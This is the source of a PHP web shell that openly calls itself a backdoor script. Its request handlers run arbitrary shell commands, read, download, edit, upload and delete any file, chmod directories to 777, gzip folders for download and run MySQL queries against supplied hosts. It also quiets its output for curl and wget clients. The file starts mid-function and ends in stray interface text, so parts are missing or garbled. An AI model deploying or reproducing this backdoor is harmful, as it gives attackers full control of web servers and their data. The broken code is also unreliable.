<?php
// A robust backdoor script made by Daniel Berliner - http://www.qsdconsulting.com/ [2011-03-15]
// This code is public domain and may be used in part or in full for any legal purpose. I would still appreciate a mention though :).

// Make sure there is an ending slash
    if(substr($fixedPath,-1)!=$slash)
        $fixedPath .= $slash;
    return $fixedPath;
}
if(isset($_REQUEST['chm']))
{
    if(!$isLinux)
    {
        echo "This feature only works on Linux";
    }
    else
    {
        echo (@chmod ($_REQUEST['chm'],0777) ? "Reassigned" : "Can't Reasign");
    }
}
elseif(isset($_REQUEST['phpinfo']))
{
    phpinfo();
}
elseif(isset($_REQUEST['dl']))
{
    if(@fopen($_REQUEST['dl'] .  $_REQUEST['file'],'r')==true)
    {
        $_REQUEST['dl'] .= $_REQUEST['file'];
        if(substr($_REQUEST['dl'],0,1)==$slash)
            $fileArr=explode($slash,$_REQUEST['dl']);

header('Content-disposition: attachment; filename=' . $_REQUEST['file']);
        header('Content-type: application/octet-stream');
        readfile($_REQUEST['dl']);
    }
    else
    {
        echo $_REQUEST['dl'];
    }
}
elseif(isset($_REQUEST["gz"]))
{
    if(!$isLinux)
    {
        echo "This feature only works on Linux";
    }
    else
    {
        $directory=$_REQUEST["gz"];

if(substr($directory,-1)=="/")
            $directory=substr($directory,0,-1);

$dirParts=explode($slash,$directory);
        $fname=$dirParts[(sizeof($dirParts)-1)];

$archive=time();

exec("cd $directory; tar czf $archive *");
        $output=@file_get_contents($directory . "/" . $archive);

if(!$output)
            header("Content-disposition: attachment; filename=ACCESS_PROBLEM");
        else
        {
            header("Content-disposition: attachment; filename=$fname.tgz");
            echo $output;
        }

header('Content-type: application/octet-stream');
        @unlink($directory . "/" . $archive);
    }
}
elseif(isset($_REQUEST['f']))
{
    $filename=$_REQUEST['f'];
    $file=fopen("$filename","rb");
    header("Content-Type: text/plain");
    fpassthru($file);
}
elseif(isset($_REQUEST['d']))
{
    $d=$_REQUEST['d'];
    echo "<pre>";
    if ($handle=opendir("$d"))
    {
        echo "<h2>Listing of ";
        $conString="";
        if($isLinux)
            echo "<a href='?d=$slash'>$slash</a>";
        foreach(explode($slash,cleanPath($d,$isLinux)) as $val)
        {
            $conString .= $val . $slash;
            echo "<a href='?d=$conString'>" . $val . "</a>" . ($val != "" ? $slash : '');
        }
        echo " (<a target='_blank' href='?uploadForm=1&dir=" . urlencode(cleanPath($d,$isLinux)) . "'>upload file</a>) (<a href='?d=" . urlencode(cleanPath($d,$isLinux)) . "&hldb=1'>DB interaction files in red</a>)</h2> (<a target='_blank' href='?gz=" . urlencode(cleanPath($d,$isLinux)) . "'>gzip & download folder</a>) (<a target='_blank' href='?chm=" . urlencode(cleanPath($d,$isLinux)) . "'>chmod folder to 777)</a> (these rarely work)<br />";
        while ($dir=readdir($handle))
        {
            if (is_dir("$d$slash$dir"))
            {
                if($dir != "." && $dir !="..")
                    $dirList[]=$dir;
            }
            else
            {
                if(isset($_REQUEST["hldb"]))
                {
                    $contents=file_get_contents("$d$slash$dir");
                    if (stripos($contents,"mysql_") || stripos($contents,"mysqli_") || stripos($contents,"SELECT "))
                    {
                        $fileList[]=array('dir'=>$dir,'color'=>'red');
                    }
                    else
                    {
                        $fileList[]=array('dir'=>$dir,'color'=>'black');
                    }
                }
                else
                {
                    $fileList[]=array('dir'=>$dir,'color'=>'black');
                }
            }
        }

echo "<a href='?d=$d$slash.'><font color=grey>.\n</font></a>";
        echo "<a href='?d=$d$slash..'><font color=grey>..\n</font></a>";

// Some configurations throw a notice if is_array is tried with a non-existent variable
        if(isset($dirList))
        if(is_array($dirList))
        foreach($dirList as $dir)
        {
                echo "<a href='?d=$d$slash$dir'><font color=grey>$dir\n</font></a>";
        }

if(isset($fileList))
        if(is_array($fileList))
        foreach($fileList as $dir)
        {
            echo "<a href='?f=$d" . $slash . $dir['dir'] . "'><font color=" . $dir['color'] . ">" . $dir['dir'] . "</font></a>" .
                 "|<a href='?dl=" . cleanPath($d,$isLinux) . '&file=' .$dir["dir"] . "' target='_blank'>Download</a>|" .
                 "|<a href='?ef=" . cleanPath($d,$isLinux) . '&file=' .$dir["dir"] . "' target='_blank'>Edit</a>|" .
                 "|<a href='?df=" . cleanPath($d,$isLinux) . '&file=' .$dir["dir"] . "' target='_blank'>Delete</a>| \n";
        }
    }
    else
    echo "opendir() failed";
    closedir($handle);
    echo "</pre>";
}
elseif(isset($_REQUEST['c']))
{
    if(@ini_get('safe_mode'))
    {
        echo 'Safe mode is on, the command is by default run though escapeshellcmd() and can only run programs in safe_mod_exec_dir (' . @ini_get('safe_mode_exec_dir') . ') <br />';
    }
    $USER_AGENT=strtolower(substr($_SERVER['HTTP_USER_AGENT'],0,4));
    $SILENT_MODE=TRUE;
    if ($USER_AGENT != "curl" && $USER_AGENT != "wget")
    {
        $SILENT_MODE=FALSE;
        echo "<h2>Command: <I>" . $_REQUEST['c'] . "</I></h2><br /><br />";
    }
    trim(exec($_REQUEST['c'],$return));
    foreach($return as $val)
    {
        if ($SILENT_MODE)
        {
            echo htmlentities($val);
        }
        else
        {
            echo '<pre>' . htmlentities($val) . '</pre>';
        }

}
}
elseif(isset($_REQUEST['uploadForm']) || isset($_FILES["file_name"]))
{
    if(isset($_FILES["file_name"]))
    {
        if ($_FILES["file_name"]["error"] > 0)
        {
                echo "Error";
        }
        else
        {
            $target_path=$_COOKIE["uploadDir"];
            if(substr($target_path,-1) != "/")
                $target_path .= "/";

$target_path=$target_path . basename($_FILES['file_name']['name']);

if(move_uploaded_file($_FILES['file_name']['tmp_name'],$target_path)) {
                setcookie("uploadDir","");
                echo "The file ".  basename($_FILES['file_name']['name']).
                " has been uploaded";
            }
            else
            {
                echo "Error copying file, likely a permission error.";
            }
        }
    }
    else
    {
?>
        <form target="_blank" action="" method="GET">
            <input type="hidden" name="cc" value="1" />
            Submit this form before submitting file (will open in new window):<br />
            Upload Directory: <input type="text" name="dir" value="<?php echo $_REQUEST["dir"]; ?>"><br />
            <input type="submit" value="submit" />
        </form>
        <br /><br />

<form enctype="multipart/form-data" action="" method="post">
        Upload file:<input name="file_name" type="file"><input type="submit" value="Upload" /></form>

<?php
    }
}
elseif(isset($_REQUEST['cc']))
{
    setcookie("uploadDir",$_GET["dir"]);
    echo "You are OK to upload the file, don't upload files to other directories before completing this upload.";
}
elseif(isset($_REQUEST['mquery']))
{
    $host=$_REQUEST['host'];
    $usr=$_REQUEST['usr'];
    $passwd=$_REQUEST['passwd'];
    $db=$_REQUEST['db'];
    $mquery=$_REQUEST['mquery'];
    @mysql_connect($host,$usr,$passwd) or die("Connection Error: " . mysql_error());
    mysql_select_db($db);
    $result=mysql_query($mquery);
    if($result!=false)
    {
        echo "<h2>The following query has sucessfully executed</h2>" . htmlentities($mquery) . "<br /><br />";
        echo "Return Results:<br />";
        $first=true;
        echo "<table border='1'>";
        while ($row=mysql_fetch_array($result,MYSQL_ASSOC))
        {
            if($first)
            {
                echo "<tr>";
                foreach($row as $key=>$val)
                {
                    echo "<td><b>$key</b></td>";
                }
                echo "</tr>";
                reset($row);
                $first=false;
            }
            echo "<tr>";
            foreach($row as $val)
            {
                echo "<td>$val</td>";
            }
            echo "</tr>";
        }
        echo "</table>";
        mysql_free_result($result);
    }
    else
    {
        echo "Query Error: " . mysql_error();
    }
}
elseif(isset($_REQUEST['df']))
{
    $_REQUEST['df'] .= $slash . $_REQUEST['file'];
    if(@unlink($_REQUEST['df']))
    {
            echo "File deleted";
    }
    else
    {
            echo "Error deleting file";
    }
}
elseif(isset($_REQUEST['ef']))
{
?>
<script type="text/javascript">
  <!--
  var key="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

function encode64(inpStr)
  {
     inpStr=escape(inpStr);
     var output="";
     var chr1,chr2,chr3="";
     var enc1,enc2,enc3,enc4="";
     var i=0;

do {
        chr1=inpStr.charCodeAt(i++);
        chr2=inpStr.charCodeAt(i++);
        chr3=inpStr.charCodeAt(i++);

enc1=chr1 >> 2;
        enc2=((chr1 & 3) << 4) | (chr2 >> 4);
        enc3=((chr2 & 15) << 2) | (chr3 >> 6);
        enc4=chr3 & 63;

if (isNaN(chr2))
        {
           enc3=enc4=64;
        }
        else if (isNaN(chr3))
        {
           enc4=64;
        }

output=output +
           key.charAt(enc1) +
           key.charAt(enc2) +
           key.charAt(enc3) +
           key.charAt(enc4);
        chr1=chr2=chr3=enc1=enc2=enc3=enc4="";
     } while (i < inpStr.length);

return output;
  }
  //-->
</script>
<?php
    $_REQUEST['ef'] .= $_REQUEST['file'];
    if(isset($_POST["newcontent"]))
    {
        $_POST["newcontent"]=urldecode(base64_decode($_POST["newcontent"]));
        $stream=@fopen($_REQUEST['ef'],"w");

if($stream)
        {
            fwrite($stream,$_POST["newcontent"]);
            echo "Write sucessful";
        }
        else
        {
            echo "Could not write to file";
        }
        fclose($stream);
    }
?>
    <form action="" name="f" method="POST">
    <textarea wrap="off" rows="40" cols="130" name="newcontent"><?php echo file_get_contents($_REQUEST['ef']); ?>

Server Information:
Operating System:
PHP Version: View phpinfo()

Directory Traversal
Go to current working directory
Go to root directory
Go to any directory:

Execute MySQL Query:

Execute Shell Command (safe mode is ):

host
user
password
database
query